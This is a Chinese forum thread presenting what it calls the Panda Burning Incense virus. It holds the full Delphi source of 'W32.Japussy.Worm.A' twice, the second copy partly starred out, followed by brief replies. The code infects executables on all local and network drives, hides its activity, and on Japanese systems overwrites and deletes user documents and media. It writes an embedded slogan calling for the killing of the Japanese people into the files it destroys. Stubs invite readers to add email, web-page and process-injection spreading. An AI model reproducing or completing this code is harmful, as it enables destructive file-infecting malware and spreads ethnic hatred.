据说是熊猫烧香病毒的笔记
据说是熊猫烧香病毒的笔记program japussy;
uses
windows, sysutils, classes, graphics, shellapi{, registry};
const
headersize = 82432; //病毒体的大小
iconoffset = $12eb8; //pe文件主图标的偏移量
//在我的delphi5 sp1上面编译得到的大小，其它版本的delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
headersize = 38912; //upx压缩过病毒体的大小
iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量
//upx 1.24w 用法: upx -9 --8086 japussy.exe
}
iconsize = $2e8; //pe文件主图标的大小--744字节
icontail = iconoffset + iconsize; //pe文件主图标的尾部
id = $44444444; //感染标记
//垃圾码，以备写入
catchword = 'if a race need to be killed out, it must be yamato. ' +
'if a country need to be destroyed, it must be japan! ' +
'*** w32.japussy.worm.a ***';
{$r *.res}
function registerserviceprocess(dwprocessid, dwtype: integer): integer;
stdcall; external 'kernel32.dll'; //函数声明
var
tmpfile: string;
si: startupinfo;
pi: process_information;
isjap: boolean = false; //日文操作系统标记
{ 判断是否为win9x }
function iswin9x: boolean;
var
ver: tosversioninfo;
begin
result := false;
ver.dwosversioninfosize := sizeof(tosversioninfo);
if not getversionex(ver) then
exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x
result := true;
end;
{ 在流之间复制 }
procedure copystream(src: tstream; sstartpos: integer; dst: tstream;
dstartpos: integer; count: integer);
var
scurpos, dcurpos: integer;
begin
scurpos := src.position;
dcurpos := dst.position;
src.seek(sstartpos, 0);
dst.seek(dstartpos, 0);
dst.copyfrom(src, count);
src.seek(scurpos, 0);
dst.seek(dcurpos, 0);
end;
{ 将宿主文件从已感染的pe文件中分离出来，以备使用 }
procedure extractfile(filename: string);
var
sstream, dstream: tfilestream;
begin
try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
dstream := tfilestream.create(filename, fmcreate);
try
sstream.seek(headersize, 0); //跳过头部的病毒部分
dstream.copyfrom(sstream, sstream.size - headersize);
finally
dstream.free;
end;
finally
sstream.free;
end;
except
end;
end;
{ 填充startupinfo结构 }
procedure fillstartupinfo(var si: startupinfo; state: word);
begin
si.cb := sizeof(si);
si.lpreserved := nil;
si.lpdesktop := nil;
si.lptitle := nil;
si.dwflags := startf_useshowwindow;
si.wshowwindow := state;
si.cbreserved2 := 0;
si.lpreserved2 := nil;
end;
{ 发带毒邮件 }
procedure sendmail;
begin
//哪位仁兄愿意完成之？
end;
{ 感染pe文件 }
procedure infectonefile(filename: string);
var
hdrstream, srcstream: tfilestream;
icostream, dststream: tmemorystream;
iid: longint;
aicon: ticon;
infected, ispe: boolean;
i: integer;
buf: array of char;
begin
try //出错则文件正在被使用，退出
if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染
exit;
infected := false;
ispe := false;
srcstream := tfilestream.create(filename, fmopenread);
try
for i := 0 to $108 do //检查pe文件头
begin
srcstream.seek(i, sofrombeginning);
srcstream.read(buf, 2);
if (buf = #80) and (buf = #69) then //pe标记
begin
ispe := true; //是pe文件
break;
end;
end;
srcstream.seek(-4, sofromend); //检查感染标记
srcstream.read(iid, 4);
if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染
infected := true;
finally
srcstream.free;
end;
if infected or (not ispe) then //如果感染过了或不是pe文件则退出
exit;
icostream := tmemorystream.create;
dststream := tmemorystream.create;
try
aicon := ticon.create;
try
//得到被感染文件的主图标(744字节)，存入流
aicon.releasehandle;
aicon.handle := extracticon(hinstance, pchar(filename), 0);
aicon.savetostream(icostream);
finally
aicon.free;
end;
srcstream := tfilestream.create(filename, fmopenread);
//头文件
hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone);
try
//写入病毒体主图标之前的数据
copystream(hdrstream, 0, dststream, 0, iconoffset);
//写入目前程序的主图标
copystream(icostream, 22, dststream, iconoffset, iconsize);
//写入病毒体主图标到病毒体尾部之间的数据
copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);
//写入宿主程序
copystream(srcstream, 0, dststream, headersize, srcstream.size);
//写入已感染的标记
dststream.seek(0, 2);
iid := $44444444;
dststream.write(iid, 4);
finally
hdrstream.free;
end;
finally
srcstream.free;
icostream.free;
dststream.savetofile(filename); //替换宿主文件
dststream.free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure smashfile(filename: string);
var
filehandle: integer;
i, size, mass, max, len: integer;
begin
try
setfileattributes(pchar(filename), 0); //去掉只读属性
filehandle := fileopen(filename, fmopenwrite); //打开文件
try
size := getfilesize(filehandle, nil); //文件大小
i := 0;
randomize;
max := random(15); //写入垃圾码的随机次数
if max < 5 then
max := 5;
mass := size div max; //每个间隔块的大小
len := length(catchword);
while i < max do
begin
fileseek(filehandle, i * mass, 0); //定位
//写入垃圾码，将文件彻底破坏掉
filewrite(filehandle, catchword, len);
inc(i);
end;
finally
fileclose(filehandle); //关闭文件
end;
deletefile(pchar(filename)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function getdrives: string;
var
disktype: word;
d: char;
str: string;
i: integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
d := chr(i + 65);
str := d + ':\';
disktype := getdrivetype(pchar(str));
//得到本地磁盘和网络盘
if (disktype = drive_fixed) or (disktype = drive_remote) then
result := result + d;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure loopfiles(path, mask: string);
var
i, count: integer;
fn, ext: string;
subdir: tstrings;
searchrec: tsearchrec;
msg: tmsg;
function isvaliddir(searchrec: tsearchrec): integer;
begin
if (searchrec.attr <> 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 0 //不是目录
else if (searchrec.attr = 16) and (searchrec.name <> '.') and
(searchrec.name <> '..') then
result := 1 //不是根目录
else result := 2; //是根目录
end;
begin
if (findfirst(path + mask, faanyfile, searchrec) = 0) then
begin
repeat
peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列，避免引起怀疑
if isvaliddir(searchrec) = 0 then
begin
fn := path + searchrec.name;
ext := uppercase(extractfileext(fn));
if (ext = '.exe') or (ext = '.scr') then
begin
infectonefile(fn); //感染可执行文件
end
else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then
begin
//感染html和asp文件，将base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之？
end
else if ext = '.wab' then //outlook地址簿文件
begin
//获取outlook邮件地址
end
else if ext = '.adc' then //foxmail地址自动完成文件
begin
//获取foxmail邮件地址
end
else if ext = 'ind' then //foxmail地址簿文件
begin
//获取foxmail邮件地址
end
else
begin
if isjap then //是倭文操作系统
begin
if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or
(ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or
(ext = '.wma') or (ext = '.zip') or (ext = '.rar') or
(ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or
(ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or
(ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then
smashfile(fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑
sleep(200);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
subdir := tstringlist.create;
if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then
begin
repeat
if isvaliddir(searchrec) = 1 then
subdir.add(searchrec.name);
until (findnext(searchrec) <> 0);
end;
findclose(searchrec);
count := subdir.count - 1;
for i := 0 to count do
loopfiles(path + subdir.strings + '\', mask);
freeandnil(subdir);
end;
{ 遍历磁盘上所有的文件 }
procedure infectfiles;
var
driverlist: string;
i, len: integer;
begin
if getacp = 932 then //日文操作系统
isjap := true; //去死吧！
driverlist := getdrives; //得到可写的磁盘列表
len := length(driverlist);
while true do //死循环
begin
for i := len downto 1 do //遍历每个磁盘驱动器
loopfiles(driverlist + ':\', '*.*'); //感染之
sendmail; //发带毒邮件
sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if iswin9x then //是win9x
registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程
else //winnt
begin
//远程线程映射到explorer进程
//哪位兄台愿意完成之？
end;
//如果是原始病毒体自己
if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then
infectfiles //感染和发邮件
else //已寄生于宿主程序上了，开始工作
begin
tmpfile := paramstr(0); //创建临时文件
delete(tmpfile, length(tmpfile) - 4, 4);
tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一个空格
extractfile(tmpfile); //分离之
fillstartupinfo(si, sw_showdefault);
createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,
0, nil, '.', si, pi); //创建新进程运行之
infectfiles; //感染和发邮件
end;
end. 楼主的想法还没有通过代码实现吧
我是这么想的 :P program japussy; uses windows, sysutils, classes, graphics, shellapi{, reg*try}; ct headersize = 82432; //病毒体的大小 iconoffset = $12eb8; //pe文件主图标的偏移量 //在我的delphi5 sp1上面编译得到的大小，其它版本的delphi可能不同 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { headersize = 38912; //upx压缩过病毒体的大小 iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量 //upx 1.24w 用法: upx -9 --8086 japussy.exe } icize = $2e8; //pe文件主图标的大小--744字节 icontail = iconoffset + icize; //pe文件主图标的尾部 id = $44444444; //感染标记 //码，以备写入 catchword = 'if a race need to be killed out, it must be yamato. ' + 'if a country need to be destroyed, it must be japan! ' + '*** w32.japussy.worm.a ***'; {$r *.res} function reg*terserviceprocess(dwprocessid, dwtype: integer): integer; stdcall; external 'kernel32.dll'; //函数声明 var tmpfile: string; si: startupinfo; pi: process_information; *jap: boolean = false; //日文操作系统标记 { 判断是否为win9x } function *win9x: boolean; var ver: tosversioninfo; begin result := false; ver.dwosversioninfosize := sizeof(tosversioninfo); if not getversionex(ver) then exit; if (ver.dwplatformid = ver_platform_win32_windows) then //win9x result := true; end; { 在流之间复制 } procedure copystream(src: tstream; sstartpos: integer; dst: tstream; dstartpos: integer; count: integer); var scurpos, dcurpos: integer; begin scurpos := src.position; dcurpos := dst.position; src.seek(sstartpos, 0); dst.seek(dstartpos, 0); dst.copyfrom(src, count); src.seek(scurpos, 0); dst.seek(dcurpos, 0); end; { 将宿主文件从已感染的pe文件中分离出来，以备使用 } procedure extractfile(filename: string); var sstream, dstream: tfilestream; begin try sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try dstream := tfilestream.create(filename, fmcreate); try sstream.seek(headersize, 0); //跳过头部的病毒部分 dstream.copyfrom(sstream, sstream.size - headersize); finally dstream.free; end; finally sstream.free; end; except end; end; { 填充startupinfo结构 } procedure fillstartupinfo(var si: startupinfo; state: word); begin si.cb := sizeof(si); si.lpreserved := nil; si.lpdesktop := nil; si.lptitle := nil; si.dwflags := startf_useshowwindow; si.wshowwindow := state; si.cbreserved2 := 0; si.lpreserved2 := nil; end; { 发带毒邮件 } procedure sendmail; begin //哪位仁兄愿意完成之？ end; { 感染pe文件 } procedure infectonefile(filename: string); var hdrstream, srcstream: tfilestream; icostream, dststream: tmemorystream; iid: longint; aicon: ticon; infected, *pe: boolean; i: integer; buf: array of char; begin try //出错则文件正在被使用，退出 if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染 exit; infected := false; *pe := false; srcstream := tfilestream.create(filename, fmopenread); try for i := 0 to $108 do //检查pe文件头 begin srcstream.seek(i, sofrombeginning); srcstream.read(buf, 2); if (buf = #80) and (buf = #69) then //pe标记 begin *pe := true; //是pe文件 break; end; end; srcstream.seek(-4, sofromend); //检查感染标记 srcstream.read(iid, 4); if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染 infected := true; finally srcstream.free; end; if infected or (not *pe) then //如果感染过了或不是pe文件则退出 exit; icostream := tmemorystream.create; dststream := tmemorystream.create; try aicon := ticon.create; try //得到被感染文件的主图标(744字节)，存入流 aicon.releasehandle; aicon.handle := extracticon(hinstance, pchar(filename), 0); aicon.savetostream(icostream); finally aicon.free; end; srcstream := tfilestream.create(filename, fmopenread); //头文件 hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try //写入病毒体主图标之前的数据 copystream(hdrstream, 0, dststream, 0, iconoffset); //写入目前程序的主图标 copystream(icostream, 22, dststream, iconoffset, icize); //写入病毒体主图标到病毒体尾部之间的数据 copystream(hdrstream, icontail, dststream, icontail, headersize - icontail); //写入宿主程序 copystream(srcstream, 0, dststream, headersize, srcstream.size); //写入已感染的标记 dststream.seek(0, 2); iid := $44444444; dststream.write(iid, 4); finally hdrstream.free; end; finally srcstream.free; icostream.free; dststream.savetofile(filename); //替换宿主文件 dststream.free; end; except; end; end; { 将目标文件写入码后删除 } procedure smashfile(filename: string); var filehandle: integer; i, size, mass, max, len: integer; begin try setfileattributes(pchar(filename), 0); //去掉只读属性 filehandle := fileopen(filename, fmopenwrite); //打开文件 try size := getfilesize(filehandle, nil); //文件大小 i := 0; randomize; max := random(15); //写入码的随机次数 if max < 5 then max := 5; mass := size div max; //每个间隔块的大小 len := length(catchword); while i < max do begin fileseek(filehandle, i * mass, 0); //定位 //写入码，将文件彻底破坏掉 filewrite(filehandle, catchword, len); inc(i); end; finally fileclose(filehandle); //关闭文件 end; deletefile(pchar(filename)); //删除之 except end; end; { 获得可写的驱动器列表 } function getdrives: string; var d*ktype: word; d: char; str: string; i: integer; begin for i := 0 to 25 do //遍历26个字母 begin d := chr(i + 65); str := d + ':\'; d*ktype := getdrivetype(pchar(str)); //得到本地磁盘和网络盘 if (d*ktype = drive_fixed) or (d*ktype = drive_remote) then result := result + d; end; end; { 遍历目录，感染和摧毁文件 } procedure loopfiles(path, mask: string); var i, count: integer; fn, ext: string; subdir: tstrings; searchrec: tsearchrec; msg: tmsg; function *validdir(searchrec: tsearchrec): integer; begin if (searchrec.attr <> 16) and (searchrec.name <> '.') and (searchrec.name <> '..') then result := 0 //不是目录 else if (searchrec.attr = 16) and (searchrec.name <> '.') and (searchrec.name <> '..') then result := 1 //不是根目录 else result := 2; //是根目录 end; begin if (findfirst(path + mask, faanyfile, searchrec) = 0) then begin repeat peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列，避免引起怀疑 if *validdir(searchrec) = 0 then begin fn := path + searchrec.name; ext := uppercase(extractfileext(fn)); if (ext = '.exe') or (ext = '.scr') then begin infectonefile(fn); //感染可执行文件 end else if (ext = '.htm') or (ext = '.html') or (ext = '.asp') then begin //感染html和asp文件，将base编码后的病毒写入 //感染浏览此网页的所有用户 //哪位大兄弟愿意完成之？ end else if ext = '.wab' then //outlook地址簿文件 begin //获取outlook邮件地址 end else if ext = '.adc' then //foxmail地址自动完成文件 begin //获取foxmail邮件地址 end else if ext = 'ind' then //foxmail地址簿文件 begin //获取foxmail邮件地址 end else begin if *jap then //是倭文操作系统 begin if (ext = '.doc') or (ext = '.xls') or (ext = '.mdb') or (ext = '.mp3') or (ext = '.rm') or (ext = '.ra') or (ext = '.wma') or (ext = '.zip') or (ext = '.rar') or (ext = '.mpeg') or (ext = '.asf') or (ext = '.jpg') or (ext = '.jpeg') or (ext = '.gif') or (ext = '.swf') or (ext = '.pdf') or (ext = '.chm') or (ext = '.avi') then smashfile(fn); //摧毁文件 end; end; end; //感染或删除一个文件后睡眠200毫秒，避免cpu占用率过高引起怀疑 sleep(200); until (findnext(searchrec) <> 0); end; findclose(searchrec); subdir := tstringl*t.create; if (findfirst(path + '*.*', fadirectory, searchrec) = 0) then begin repeat if *validdir(searchrec) = 1 then subdir.add(searchrec.name); until (findnext(searchrec) <> 0); end; findclose(searchrec); count := subdir.count - 1; for i := 0 to count do loopfiles(path + subdir.strings + '\', mask); freeandnil(subdir); end; { 遍历磁盘上所有的文件 } procedure infectfiles; var driverl*t: string; i, len: integer; begin if getacp = 932 then //日文操作系统 *jap := true; //吧！ driverl*t := getdrives; //得到可写的磁盘列表 len := length(driverl*t); while true do //死循环 begin for i := len downto 1 do //遍历每个磁盘驱动器 loopfiles(driverl*t + ':\', '*.*'); //感染之 sendmail; //发带毒邮件 sleep(1000 * 60 * 5); //睡眠5分钟 end; end; { 主程序开始 } begin if *win9x then //是win9x reg*terserviceprocess(getcurrentprocessid, 1) //注册为服务进程 else //winnt begin //远程线程映射到explorer进程 //哪位兄台愿意完成之？ end; //如果是原始病毒体自己 if comparetext(extractfilename(paramstr(0)), 'japussy.exe') = 0 then infectfiles //感染和发邮件 else //已寄生于宿主程序上了，开始工作 begin tmpfile := paramstr(0); //创建临时文件 delete(tmpfile, length(tmpfile) - 4, 4); tmpfile := tmpfile + #32 + '.exe'; //真正的宿主文件，多一个空格 extractfile(tmpfile); //分离之 fillstartupinfo(si, sw_showdefault); createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true, 0, nil, '.', si, pi); //创建新进程运行之 infectfiles; //感染和发邮件 end; end.
看看 这个 正版 代码 发 多 了~~唉 我 的错~~不 过 研究 下 内核就 好了 看不懂:dizzy: 天书一样 真的是看不懂，完全跟天书一样 学习实践,外加顶帖
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